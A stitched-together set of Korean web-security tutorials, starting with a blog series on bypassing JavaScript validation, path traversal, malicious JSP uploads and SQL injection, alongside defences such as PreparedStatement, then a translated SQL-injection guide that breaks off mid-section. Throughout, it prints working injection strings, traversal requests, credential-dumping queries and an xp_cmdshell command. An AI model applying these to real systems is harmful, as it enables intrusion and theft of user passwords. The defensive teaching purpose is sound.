그럼 이제부터 자바스크립트로 입력값의 자리수 체크로직을 피해가는 방법을 알아봅시다

어떤 방법이 있을까요?

① URL로 접근

입력값이 몇가지 되지 않는다면 아래 방법이 가장 편하겠군요

즉 브라우져 주소창에다 직접 입력 합니다

아래와 같은 화면이 나올겁니다

메쏘드정보 (request.getMethod())를 찍어보니 GET 이 나오는군요!

그렇다면 이같은 직접 URL값을 막기위해 간단히 POST만 허용하는 로직을 추가해 버립시다

http://www.jakartaproject.com/html/process.jsp

이러면 괜찮겠지 흐흐.. 라고만끝나면 안됩니다

② 로컬파일로 접근

①번의 방법은 GET방식때문에 막혔습니다 그러면 자바스크립트를 우회하면서 POST방식으로 보내는 방법은 없을까요? 물론 있습니다

웹브라우져는 "소스보기" 라는 좋은 메뉴가 있습니다 있는건 적극 활용합시다 ㅎㅎ

소스보기한 후 바탕화면에 저장하여 약간 손을 보았습니다

즉 입력값을 체크하는 자바스크립트를 무력화 시키면서, action을 수정해 주었습니다

C:\Documents and Settings\Administrator\바탕 화면\client.html

웹화면은 다음과 같겠죠

"submit"버튼을 클릭합니다 ^^

역시나 자바스크립트를 거치지 않고 process.jsp에 13자리수가 아닌 "22"값을 무난히 보냈습니다

그럼 서버쪽에서는 "어이쿠 이런 헤더정보도 체크해야 겠군" 하고 다음 코드를 추가해 버릴겁니다

즉 레퍼러값이 null인 경우는 허용할수 없다는 것이죠

http://www.jakartaproject.com/html/process.jsp

그럼 위와같은 소스가 될것입니다

그럼 과연 위 소스가 안전할까요?

③ HEADER값 조작

그렇다면 HEADER값을 조작해 봅시다 어떻게 조작할 수 있을까요?

여러가지 프로그램들이 있지만 그중에 Achilles 라는 proxy server를 이용하여 조작해 보겠습니다

Achilles라는 proxy server는 웹브라우져와 서버간의 HTTP 세션을 중간에서 가로채어 원하는대로 수정한 후 보낼수 있도록 해주는 작으면서도 강력한 프로그램입니다

우선 위에서 작성한 바탕화면에 저장된 C:\Documents and Settings\Administrator\바탕 화면\client.html 를 실행한 결과를 Achilles가 Intercept한 결과입니다

여러 가지 헤더정보들이 보이며 쿠키값까지 조작할수 있습니다

하지만 위의 헤더정보에는 referer값이 없습니다 그래서 referer체크에서 null이 나와 로직에 걸립니다

그렇다면 referer정보를 추가해 줍시다

파랑색으로 줄쳐진 부분을 에디팅하여 추가해주었습니다

Referer: http://www.jakartaproject.com/html/input.html

그런다음 "Send"버튼으로 전송합니다

짠~

그러면 조작된 헤더정보를 알아채지 못하고 헤더의 referer값을 가져오는군요!

4. 서버쪽 로직 추가!

위에서 자바스크립트를 우회하는 몇가지 방법들을 알아보았습니다

결론은 하나입니다 즉! 서버쪽에서도 동일하게 체크해 주어야 합니다

그렇다면 서버쪽에서만 체크하고 클라이언트에서는 체크할 필요가 없다고 생각할지도 모르지만,

그만큼 서버쪽으로 오는 request를 줄이면 더더욱 좋겠죠

자잘한것 하나때문에 서버쪽 부하를 줄수 없는 노릇아니겠습니까?

자 이러이러 하고 저러저러한 이유로 우리는 이제부터라도 클라이언트에서는 자바스크립트로,

서버쪽에서는 또 서버쪽 스크립트로 사용자가 입력한 값에대해 유효성을 검증해야 하는것을 알았습니다

로직이 복잡한 경우 가뜩이나 자바스크립트도 복잡한데 그 로직을 서버쪽에서 다시한번 만든다는게 힘들다는거 다들 압니다 하지만 안전한 웹페이지를 만들기 위해 다같이 노력해야 되지 않겠습니까?

Web Hacking 1탄 부터 이번 3탄에 이르기까지 웹 프로그래밍 하면서 반드시 필요하고 인식해야 하는 부분에 대해 논하였습니다

마지막으로 다시한번 언급하자면 우리가 잠깐 잊고 지나가거나 혹은 귀찮아서 지나치는 사소한 부분들 때문에 엄청난 결과를 가져올 수 있다는 것입니다 미리미리 예방하고 예측해서 방지하는수 밖에 없습니다 그럼 다들 건승~!~!

이상 GoodBug였습니다~

=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com 

=============================================

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트

1. 시작하기

해커가 하나의 웹사이트를 공격하기 위해 많은 시간을 준비한다고 했습니다

그중에 가장 먼저 하는것 중에 하나가 바로 파라미터와 그 값에대한 목록 정리 입니다

즉 타겟 웹사이트의 모든 URL 파라미터를 GET, POST등으로 정리를 합니다

http://xxxxxxxx.com/pds/list1.php?cnum=2

http://xxxxxxxx.com/pds/list2.php?cnum=2&snum=21

http://xxxxxxxx.com/view.php?fnum=104591

http://xxxxxxxx.com/bbs/bbs.php?table=bbs_sw_qna

http://xxxxxxxx.com/bbs/bbs.php?f=write&table=bbs_sw_qna

http://xxxxxxxx.com/bbs/bbs.php?f=view&table=bbs_sw_qna&fid=48610&num=85973

...

이렇게 목록화 후 분석을 해보면 해당 파라미터가 어떤 역할을 하는지 무엇을 의미하는지 80%는 파악할 수 있습니다

bbs의 f에는 write와 view 라는 값이 주어지는것을 보니 액션에 대한 글쓰기를 할것이지 아니면 글조회를 할것인지를 나타내는것으로 보이며 table이라는 컬럼은 아마도 물리적 table이름을 말하는것 같군요

cnum은 아마도 카테고리 번호를 의미하는것이고 snum은 소카테고리번호를, num은 게시물 글번호를 의미하는것으로 추정됩니다

그럼 이 프로그램들이 어떻게 돌아가는지 대강 파악이 되고 이제부터 취약점이 있는지 체크해 나가보는겁니다

파라미터명이나 값에대해서는 유추할수 없이 프로그램 한다면 아마도 조금은 더 보안적으로 안전할 것입니다

다음은 파라미터로 적절치 않은 값을 넘겨주는 예를 알아볼 것이며, 파일 업로드, 다운로드 취약점에 대해 공부해 보겠습니다 ^^

2. 동적 파일 로딩 취약점

동적으로 어떤 특정 파일을 열어 그 파일 내용을 웹에서 보여주는 jsp가 있다고 합시다

대량의 html이나 txt 파일들을 읽어 웹에서 보여주는 로직들이 많지요 (저도 많이 썼습니다 -_-;)

동적으로 그 파일에 대한 정보를 파라미터로 읽어온다면 어떻게 될까요?

다음과 같은 요청을 보낸다면..

/ROOT/sample.txt  파일을 정상적으로 로딩하여 보여줄겁니다

하지만 다음과 같이 값을 준다면 어떻게 될까요?

저런 --;  시스템 파일들이 몽땅 조회가 되는군요..

Unix 계열이라면

상위 디렉토리로 이동하면서 크래커는 passwd file을 볼수 있습니다

앗 여기서 다들 뜨끔 하신가요? 저만 그러나 ^^;

그럼 어떻게 처리해야 할까요? ../ 만 막아선 될까요?

Unix에서는 ./.\. 도 상위로 가는 명령이죠

아시겠지만 cd ./.\. 하면 한단계 위로 올라간답니다

그러니 ../ 뿐만아니라 ./.\. 도 같이 막을수 있도록 파라미터 확실히 체크를 해야 합니다

3. 동적 include 파일 취약점

그럼 include는 어떨까요? 위처럼 동적으로 include 할 파일명을 받아 처리하는 구조 말이지요

라고 요청을 날렸습니다

네 정상적으로 sample.txt를 가지고 왔습니다

하지만 다음과 같은 요청이 가면 어떨까요?

네 역시나 기대를 저버리지 않고 web.xml을 기냥 출력해 버리는군요 (여기서 알아보기 쉽게 <를 나타나게 하였습니다)

문제는 /WEB-INF/ 밑에 기타 중요한 properties (데이터에비스 설정 properties)가 있다면 낭패입니다

그럼 어떻게 해야 할까요? 역시나 파라미터값을 필터링 하는수 밖에 없습니다

그래도 이정도면 약과 입니다 -_-;

다음을 보도록 하지요

JSP에서 include에는 대략 4가지 방법이 있습니다

① <%@ include file="sample.jsp" %>

② <jsp:include page="sample.jsp" flush="true" />

③ pageContext.include("sample.jsp")

④ <c:import url="sample.jsp" />

이 4가지가 무순 차이가 있을까요?

차이점을 쓸려다 보니 이번 강좌와 좀 동떨어지는것 같아 그건 제외하고 --;

문제는 동적으로 페이지가 include가 가능 하냐입니다

이점에서는 ①은 동적으로 설정이 가능하지 않으므로 안전한 include입니다 (서버측 include이니 당연합니다)

그럼 ②과 ③은 어떨까요? include할 페이지 설정이 동적으로 가능합니다

그래서 위와 같은 문제점이 있지요

하지만 ②, ③은 확장자가 jsp에만 반응을 하고 확장자가 jsp가 아닐 경우에는 그냥 텍스트로 include를 처리해 버립니다

④번은 좀 특이합니다 물론 동적으로도 가능하며 리모트로도 가능하다는 것입니다

어떻게 될까요?

그나마 다행인것이 test.jsp 파일을 가지고 와서 서버에서 실행되는 것이 아니라 리모트에서 실행된후의 html 결과물만을 가지고 오는군요 그렇지 않으면 악성 스크립트를 활용할수있는 좋은 구멍 이었을텐데 말입니다 ^^;

다음표로 include 4가지 특성을 정리하였습니다

3. 파일 업로드 취약점

해커가 가장 많이 이용하고 좋아하는 취약점이 바로 이 파일 업로드입니다

이 부분은 누차 강조되어왔던 부분이라 대부분 아실겁니다

php 서버에는 php파일이, asp서버에는 asp파일이, jsp 서버에는 jsp파일이 업로드 되어서는 안됩니다

즉 서버에서 실행 가능한 파일을 올려선 안된다는 겁니다

악성 스크립트 침투 시나리오

① 악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다

② 업로드 디렉토리가 /upload/ 라고 가정한다면 (업로드 디렉토리를 찾는건 그리 어렵지 않습니다)

    /upload/test.jsp 파일이 첨부파일을 통해 업로드 되었습니다

③ URL로 그 파일을 요청합니다  http://localhost/upload/test.jsp

    그러면 악성 코드가 들어있는 첨부파일이 웹서버에서 실행되어 버립니다

    test.jsp 파일이 서버의 파일을 모두 삭제하는 스크립트라면 큰일이지요

④ 혹은 include 취약점을 이용해서 업로드한 스크립트를 include 시켜 실행 하기도 합니다

4. 파일 다운로드 취약점

간단한 jsp에서 일반적으로 사용하는 파일 다운로드 코드입니다

이역시 물리적 파일명 자체를 파라미터로 전달하고 있으며 이를 받아 파일을 다운로드 시키고 있습니다

무엇이 잘못되었을까요?

다음과 같이 URL을 요청해 봅시다

그려면 요청한 web.xml 이 다운로드 됩니다

즉 이말은 웹 어플리케이션의 모든 파일(소스)을 다운로드해 볼수 있다는 것입니다

소스를 보게 된다면 웹해킹이 물론 더 쉬워지겠지요?

5. 업로드 및 다운로드 취약점 개선 시나리오

① 악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다

② /upload/test.jsp 로 업로드 후 파일명을 변경해 버립니다

    /upload/200601171137507804462_jsp 로 변경해 버립시다

    단순히 파일명만 변경해선 안됩니다 확장자도 제거해 버려야 합니다

    업로드 후 파일의 확장자가 두개 이상이던지, "." 이 이유없이 많다던지, "/" 나 "\" 캐릭터가 파일명에 있으면 부적절한 파일로 간주하고 지워버립시다

    그리고 200601171137507804462_jsp 명과 실제 파일명을 같이 데이터베이스에 저장합니다

③ URL로 그 파일을 요청합니다  http://localhost/upload/test.jsp

    당연히 파일이 존재하지 않음으로 Not Found가 나올것입니다

④ 그럼 다음 URL로 요청해 봅시다 http://localhost/upload/200601171137507804462_jsp

    어떻게 될까요?

    jsp 코드는 실행되지 않고 text로 jsp 코드를 그냥 브라우져에 뿌리게 됩니다

    즉 아무 상관이 없다는 것입니다

    200601171137507804462_jsp 도 유저에게 보여주어서는 안됩니다

    해당 URL 조차 허용하고 싶지 않다면 아래 web.xml에 security 제한을 둡시다

    그러면 http://localhost/upload/200601171137507804462_jsp 은 다음과 같은 메세지를 뿌립니다

    그리고 파일 다운로드는 직접파일 링크가 아니라 response의 ouputStream을 통해 다운로드 시킵시다

   키값을 가지고 200601171137507804462_jsp 명을 얻어 다운로드 할수 있도록 프로그램 해야 합니다

   즉 다운로드 시킬때도 물리적 파일명을 파라미터로 전달하지 말고 해당 키값을 전달해서 파일명을 데이터베이스에서 얻어오도록 합니다

ps. 이런 취약점 때문만은 아니겠지만 업로드한 파일을 파일 시스템으로 저장하지 않고 데이터베이스에 직접 저장하기도 합니다

6. SQL Injection으로 인한 결과물을 파일로저장하여 다운받아 볼 수 있습니다

앞에서 살펴본 SQL Injection을 예를들어봅시다

아래 코드는 게시물 번호를 파라미터로 입력받아 해당 글번호를 조회하는 코드입니다

아래와 같은 코드가 있다고 한다면 UNION SQL Injection 피해를 볼수 있다고 하였습니다

데이터베이스가 MySQL 이라고 한다면 URL 요청이 다음과 같다면 어떻게 될까요?

다음과 같이 에러 메세지가 납니다 하지만.. hack.txt란 파일은 생성이 됩니다

즉 user의 모든 아아디 비밀번호를 간편하게 파일로 다운받아 보는겁니다

org.apache.jasper.JasperException
	org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:372)
	org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)
	org.apache.jasper.servlet.JspServlet.service(JspServlet.java:236)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
	com.jakartaproject.util.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28)

java.lang.NullPointerException
	org.apache.jsp.test_jsp._jspService(test_jsp.java:64)
	org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:94)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
	org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:324)

그 다음 http://localhost:8080/upload/hack.txt 로 user_t 테이블에 있는 모든 사용자아이디와 비밀번호를 텍스트로 받아볼 수 있습니다. 아마 이방식으로 유저 아뒤/비번 많이 빼내신분들 많으실 겁니다 ㅎㅎ

톰캣 설치 경로는 어떻게 알까요?

톰캣설치경로 대부분 비슷할 겁니다 몇가지 해보면 금방 알수 있습니다

7. 마무리

그렇다면 어떻게 해야 이러한 피해를 최소화 할 수 있을까요? 나름데로 생각해 보았습니다

① 파라미터와 파라미터값에 대해 알아볼 수 없도록 최소한의 의미만 부여한다!!

   역시나 파라미터가 중요합니다 누구나 알아볼 수 있도록 하는 의미보다는 나름데로

   Naming rule을 정한다든지 암호화 하든지 하는것도 바람직 할 수 있다고 봅니다

② 파라미터값이 유효한 값인지 체크해 봅니다

   파라미터값을 최대값, 최소값으로 제한하고 꼭 있어야 하는 문자열이나 꼭 없어도 되는 문자열등을 체크합니다

   파라미터값 길이또한 최대, 최소값 제한을 둡니다

③ 중요한 파라미터 값은 (파일명같은..)  절대로 받지 않고 다른 로직으로 생각해 봅시다

    파일명같은 중요한 값은 데이터베이스에 입력해 놓고 키값을 파라미터로 전달받아 파일명을 조회한 후 사용합니다

④ 웹프로그램의 취약점 분석 툴들이 찾아보면 몇개 있습니다(대부분 유로더군요) 이를 이용하여 테스트해 봅니다

두서없이 생각나는데로 적었습니다

그나마 JSP는 다른 PHP나 ASP에 비해 상당히 보안에 안정적입니다 JDBC 마다 틀리겠지만요

해결 방법이 생각해 보면 더 많을겁니다 물론 서버단에서 막는 방법이 제일 좋겠지만요 몇가지 사례를 적어놓았으니 그다음은 응용하기에 달렸지요

방어는 이제 여러분 몫입니다 ㅡ0ㅡ;

뚫느냐 뚫리느냐 그것이 문제로다~

=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com 

=============================================

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트

1. 시작하기

가끔 뉴스나 방송에서 xx 사이트 해킹 당했다 라고들 많이 들어보았을 겁니다

이런 뉴스를 접할때 대체 어떻게 해서 해킹이 당하는걸까? 라고들 많이 생각해 보았을 겁니다

어떻게 해킹이 일어나는지 알아야 방어도 가능하기 때문에 이번 강좌는 웹해킹에 대해 알아볼 것입니다

첫번재 시간으로 SQL Injection을 배울 것이며 그다음 두번째에는 파일조작으로 인한 해킹을,

그리고 마지막 시간에는 자바스크립트 조작에 대해 알아보겠습니다

도표에서도 알수 있듯이 SQL Injection으로 인한 해킹이 가장 간단하고 쉽기 때문에

이를 가장먼저 알아보겠습니다

SQL Injection 이란 서버나 OS의 구멍을 이용한 해킹방법이 아닌 웹 어플리케이션 자체의 버그를

이용한 새로운 형태의 웹해킹 방법입니다

정의를 하자면

라고 할수 있습니다

즉 많은 웹페이지들은 사용자나 프로그램이 생성한 파라미터값을 이용해 쿼리를 만들고 실행하는데,

이때 정상적인 값이 아닌 파라미터값이 입력될 때 비정상적인 쿼리가 실행되며, 따라서

원하지 않는 결과가 나올수 있다는 것입니다

이해를 위해 바로 코드로 들어가 봅시다

아래 코드는 사용자가 입력한 로그인 아이디와 비밀번호로 로그인을 시도하는 로직입니다

무엇이 잘못되었을 까요?

코드상으로 보면 실행하는데 전혀 이상이 없는 코드이지만 쫌 아는사람들에게는 비밀번호 없이

아이디만 안다면 로그인을 성공할 수 있는 로직입니다

아아디가 goodbug 이고 비밀번호가 1111 인 계정이 있다고 합시다 ^^;

입력란에 googbug / 1111 을 입력하니 정상적으로 로그인이 true가 되었습니다

하지만 만약 다음과 같이 사용자가 입력한다면 어떻게 될까요?

로그인이 됩니다!

비밀번호에 상관없이 로그인이 되는군요!!

하다 더 보도록 하지요

위의 소스는 MySQL을 사용하고 있습니다

MySQL의 라인 주석처리는 # 입니다 아시죠?

즉 뒷부분 password를 체크하는 로직은 주석처리되어 버린겁니다 뜨아~

같은 의미이지만 아래처럼 여러가지 섞어서도 가능합니다

이게 만약 관리자 아이디였다면 문제는 더 심각해 집니다

이처럼 사용자의 고의로 인한 SQL을 조작하여 웹 어플리케이션 자체를 공격하는것이 SQL Injection 입니다

그렇다면 위의 소스를 어떻게 변경하는게 좋을까요?

위처럼 하면 어느정도 되겠네요 ^^

2. SQL Injection 패턴

그럼 SQL Injection에 사용될만한 문자열에는 어떤것이 있을까요?

아래 문자들은 해당 데이터베이스에따라 달라질 수 있습니다

일반적으로 알려진 몇가지 패턴입니다

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

' or password like '%

이러한 패턴들로 타겟 데이터베이스가 오라클인지 MySQL인데 혹은 M$SQL인지 확인할 필요가 있을겁니다. 왜냐하면 그것에 따라 다양한 공격 방법이 생기기 때문입니다

그럼 이러한 구분은 그럼어떻게 할까요?

SQL Injection을 이용하여 다음값이 true인지 false인지 확인합니다

AND 'abcd' = 'ab' + 'cd'

true 이면 오라클은 아닐겁니다 오라클은 ||을 문자열 concat 으로 사용하지요

AND 'abcd' = 'ab' || 'cd'

true 이면 오라클입니다

rownum 도 구분할수 있는 좋은 예입니다

MySQl은 라인 주석이 #입니다 다른 대부분 데이터베이스는 --를 사용하지요

#을 SQL Injection 하였을때 위의 예처럼 에러가 발생하지 않으면 MySQL입니다

또 limit 등도 도움이 될겁니다

이처럼 해당 데이터베이스가 고유하게 사용하는 key들을 SQL Injection하여 구분할 수 있습니다

3. UNION SQL Injection

위와같이 WHERE절에 SQL Injection을 사용하여 조건절을 무력화 시키는 방법도 있지만

UNION SQL Injection은 원하는 정보도 뽑아볼 수 있습니다 ^^V

코드로 바로 봅시다

아래 코드는 게시물번호를 파라미터로 받아 해당 게시물이 존재하면 글번호와 글제목, 글내용을 조회하는 코드입니다

무엇이 잘못되었을까요?

글번호가 1134896409234 인 게시물은 다음과 같이 URL이 요청되어 조회가 될겁니다

요청 URL

하지만 위와 같이 추가적으로 UNION SQL Injection이 들어갈 수 있습니다

그러면 goodbug라는 아이디의 비밀번호가 그만 조회되어 버립니다!!

그럼 user_t 라는 테이블과 ,userid, userpw라는 컬럼명들은 어떻게 알수 있을까요?

오라클 이라면 다음과 같이 알아낼 수 있습니다

테이블 명을 알아냈다면 이제 컬럼명을 알아봐야겠죠

오라클이라면 user_tab_columns view를 통해 알아볼 수 있습니다

SELECT * FROM user_tab_columns WHERE table_name = 'user_t'

물론 한번에 알아낼수 없으며 많은 시행착오를 겪어야 하는것은 필수입니다

그래서 제로보드나 Unicorn 같은 공개 게시판인 경우는 타겟이 되기 쉽상입니다

MySQl이나 Oracle JDBC에서는 다행히도 ; 문자를 이상 캐릭터로 보고 에러를 반환합니다

하지만 그렇지 않은 JDBC가 있따면 큰일입니다 아래와 같은 코드가 가능하기 때문이지요

PHP나 ASP인 경우에는 가능한 쿼리 입니다

이제 대강 SQL Injection에 대해 감이 잡히시나요?

4. 에러 메세지를 통한 정보수집

admin_login 이라는 관리자 테이블과 login_name이라는 컬럼을 알아 냈다고 한다면..

M$SQL인 경우를 예를 들겠습니다

Output:

라는 메세지가 나옵니다

여기서 무순 정보를 알수 있을까요? 바로 goodbug 라는 관리자 아이디가 있다는 것을 알았습니다

그럼 여참에 비밀번호까지 알아봅시다

Output:

즉 nvarchar 타입의 컬럼을 int형으로 convert를 유도하면서 해당값을 에러메세지로부터 취득할 수 있습니다

가능하면 에러 메세지는 일반 유저에게 뿌리지 말아야 겠지요?

5. 그렇다면 막아보자 SQL Injection

해커라고 컴퓨터 한두번 두둘겨서 어느 한 사이트를 뚝딱 해킹하지는 못합니다

웹 해킹을 하기 위해서는 보통 짧으면 일주일에서 길면 몇달까지 해커는 치밀한 준비를 한다고 합니다

웹페이지들이 전달하는 모든 파라미터를 조사하고 반복되는 에러 화면을 보면서

여러 패턴별로 치밀하게 조사후 시행을 한다고 하네요

그렇다면 어떻게 이들로부터 웹 어플리케이션을 보호할 수 있을까요?

다음과 같은 원칙을 지킨다면 이러한 SQL Injection을 사전에 방지할 수 있습니다

① 프로그래머의 적극적인 의지가 있어야 합니다!

   -. 여러가지 신경써야 할곳도 많고 입력값에 대한 체크로직 또한 늘어날 것입니다

       많은 귀차니즘이 생길겁니다

       머 누가 장난치겠어? 라는 생각이 많은 빵꾸를 만듭니다

② 사용자가 직접 입력하는 파라미터는 절대 신뢰하지 않아야 합니다!

   -.  입력값은 javascript 뿐만 아니라 서버측에서도 체크를 해야 합니다

        숫자만 받은 입력칸이면 반드시 javascript 체크와 동시에 서버측에서도 숫자만 입력되었는지 체크해야 합니다

   -. 필요하다면 특수문자는 필터링해 버립시다 ( ‘ “ / \ : ; Space < > )

   -. 또 가능하다면 SQL 명령도 필터링 해버립시다 (UNION, SELECT, DELETE, INSERT, UPDATE, DROP..)

③ 사용자 입력을 받아 SQL을 작성하는 부분은 반드시 PreparedStatement를 사용하여 바인딩 처리 합니다!!

   -. PreparedStatement는 SQL Injection을 원천적으로 봉쇄합니다

   -. 꼬~옥 필요한곳만 Statement를 사용합니다

④ 웹에서 사용하는 유저는 OS계정 뿐만 아니라 데이터베이스 계정또한 가능한 권한을 낮춥니다!!

⑤ 에러 메세지를 노출하지 않습니다!!

   -. 에러 메세지는 해커들에게 많은 정보를 제공해 줍니다

       가능하면 유저에게 알리지 말고 은밀하게 보관해야 합니다

⑥ 동적 SQL은 가능하면 생성하지 않는다!!

   -. 가능한 동적 SQL은 지양하며, 비지니스로직상 동적 SQL이 어쩔수 없다면 파라미터 검사를 충분히 해야한다

많은분들이 아시는 내용이지만 처음보시는분에겐 많은 도움이 되실겁니다 ^^

=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com 

=============================================

Details
1.0 Introduction
============================================
서 버가 단지 80포트만을 오픈하고 있을때, 당신의 믿음직한 취약점 스캐너는 유용한 정보를 잡아내지 못한다.
당신도 알다시피 관리자는 항상 서버를 패치한다.
우리는 웹해킹으로 관점을 돌려야 한다.
SQL injection은 단지 80번 포트만을 필요로 하는 웹해킹의 방법중 한가지이다. 만일 관리자가 패치를 잘 하고 있을지라도 해킹은 잘 작동하게 될것이다.
SQL injection 는 OS 상에서 웹서버나 서비스가 실행되고 있다고 할지라도 웹 어플리케이션(like ASP, JSP, PHP, CGI, etc) 상에서 웹어플리케이션 그자체를 공격한다.

이 문서는 새로은 것에 대해서 말하고 있지는 않다.
SQL injection에 관한 문서는 여러사람들이 써 왔고 널리 사용되어지고 있다.
우리는 이문서를 작성했다. 직접 수기로 작성한 SQL injection 의 몇가지를 문서화 하기 위해서 그리고 다른사람들에게 이문서가 도움에 되기를 바라기 때문이다.
당신은 한 두가지를 더 발견할수 있을 것이다.
그러기 위해서 "9.0 Where can I get more info?"를 확인해 봄으로써 SQL injection 안에서 많은 테크닉들을 개발할수 있는 믿을만한 많은 정보들을 얻을수 있을 것이다.

1.1 What is SQL Injection?
-------------------------------------------------------------------------
SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기위한 트릭이다.
많은 웹페이지들은 웹 사용자로 부터 패러미터들을 입력받아 데이타베이스에대한 SQL query를 만든다.
사용자가 로긴을 할때를 예를 들자면, 사용자가 유효한 이름과 패스워드를 사용하는지를 확인하기위해서 사용자 이름과 패스워드를 에 관한 SQL query 를 만든다.
SQL injection를 통해서, 정상적인 SQL query를 변조하게 하는 교활하게 조작된 사용자 이름과 패스워드를 보내는 것이 가능하고 우리는 이것을 통해서 어떤것을 행하게 할수가 있는 것이다.

1.2 What do you need?
-------------------------------------------------------------------------
어떤 브라우저라도 좋다.

2.0 What you should look for?
============================================
데 이타 입력을 허락하는 웹페이지를 찿아 보아라.
예를 들자면 로긴 웹 페이지, 서치 웹페이지, 피드백 등등. 자주 HTML 페이지는 다른 ASP 페이제 패러미터를 보네기 위해서 POST 명령을 사용한다.
하지만 당신은 URL 에서 패러미터를 볼수는 없을 것이다.
그러나 HTML의 소스 코드를 확인해 보면 HTML 코드에서 "FORM" 태그를 발견 할 수 있을 것이다.
당신은 이 HTML 코드에서 다음과 같은 것을 발견 할 수가 있을 것이다.

2.1 What if you can't find any page that takes input?
-------------------------------------------------------------------------
ASP, JSP, CGI, or PHP 같은 웹 페이지들을 찿아 보기 바란다. 특히 다음과 같은 패러미터를 가지고 있는 URL을 찿아 보거라. 다음:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?
============================================
싱글 쿼트(') 트릭으로 시작해 보자!
다음과 같이 입력해 보거라.:

hi' or 1=1--

다음 예와 같이 로긴, 패스워드 또는 URL 에서 말이다.
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

만일 히든 필드와 같이 이것들을 실행해야 한다면 사이트로 보터 HTML 소스를 다운로드 받고, 당신의 하드 디스크에 저장하고, 적당하게 URL 과 히든 필드를 수정하라. 예를 들자면 :
운이 좋다면 로긴 네임이나 패스워드 없이 로긴 할 수 있을 것이다.

3.1 But why ' or 1=1--?
-------------------------------------------------------------------------
' or 1=1-- 가 왜 중요한지에 대해서 다른 예제를 알아 보도록 하자.
로긴을 바로 통과 하는 것외에 일반적으로 가능한것은 아니지만 또다른 가능성은 엑스트라 인포메이션 즉 부수적인 정보를 보는 것이 가능하다는 것이다.
다음 URL 과 같이 당신을 다른 페이지로 링크를 해주는 asp 페이지를 보자 :

http://duck/index.asp?category=food

이 URL에서 'category' 는 변수이고 'food'는 변수에 할당되어진 변수 값이다.
이와 같은 일은 하기 위해서 ASP는 다음과 같은 코드를 포함하고 있을 것이다.
(그렇다. 이것은 이 문제를 위해서 우리가 만든 실제 코드이다.) :

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" &amp; v_cat &amp; "'"
set rs=conn.execute(sqlstr)

보는 바와 같이 우리의 변수는 v_cat 안으로 들어 갈 것이고 그래서 SQL 문장은 다음과 같이 될 것이다.:

SELECT * FROM product WHERE PCategory='food'

쿼리는 WHERE 조건(이경우 'food')과 일치하는 한개나 한개 이상의 행을 결과로 리턴한다.
이제 다음과 같이 URL을 바꾸게 될 경우를 알아 보자 :

http://duck/index.asp?category=food' or 1=1--

만일 SQL query 에서 변수를 다음과 같이 변경하게 되면, 이제 변수 v_cat = "food' or 1=1-- " 되고 우리는 다음과 같은 결과를 얻을 것이다:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

쿼 리는 product 테이블로 부터 모든것을 선택한다.
PCategory 가 'food' 인지 아닌지에 상관없이 말이다 더블 대쉬("--")는 MS SQL 서버에게 쿼리의 나머지 부분을 무시하도록 한다. 마지막에 있는 싱글 쿼트(')를 제거하는 역할을 하게 될 것이다.
종종 더블 대쉬(--)는 싱글 해쉬(#)로 대체 할 수 있다.

하지만 SQL 서버가 아니거나 쿼리의 나머지를 간단하게 무시하게 할수가 없다면 다음과 같이 시도해 보라:

' or 'a'='a

SQL 쿼리는 이제 다음과 될 것이다:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

이제 동일한 결과를 돌려 줄 것이다.

실제 SQL query 에 따라서 다음과 같은 것들중에서 한개로 시도 하기 바란다:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 How do I get remote execution with SQL injection?
============================================
만 일 일반적인 의미로서 SQL 명령을 삽입 할수 있다면 모든 SQL query 를 실행 할수 있을 것이다.
MS SQL 서버가 윈도우즈 안에서 관리자 접근과 동등한 시스템상에 디폴트 인스톨로 실행되고 있다.
우리는 리모트 실행을 수행하기 위해서 xp_cmdshell 를 마스터 같이 저장된 프로시저를 사용할수 있다.... :

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

싱글 쿼트(')가 작동하지 않으면 더블 쿼트(")를 사용해 보라

세 미 콜론은 현제 SQL query 를 끝나게 할것이고 그래서 당신이 새로운 SQL 명령을 시작할 수 있게 할것이다.
만일 서버로부터 어떤 패킷이 있는지를 체크하기 위해서 명령이 성공적으로 실행되었는지를 확인하기 위해서 10.10.1.2 로 부터 ICMP 패킷을 리슨 할수 있다. :

#tcpdump icmp

만일 당신이 서버로부터 아무 핑(ping) 요구 받지 못했고, 퍼미션 에러를 표시하는 에러메시지를 받았다면, 이러한 저장된 프로시저에 대해서 관리자가 웹사용자의 접근을 제한하고 있을 가능성이 있다.

5.0 How to get output of my SQL query?
============================================
HTML 안에 당신의 쿼리를 삽입하기 위해서 sp_makewebtak 를 사용 할 수 있다:

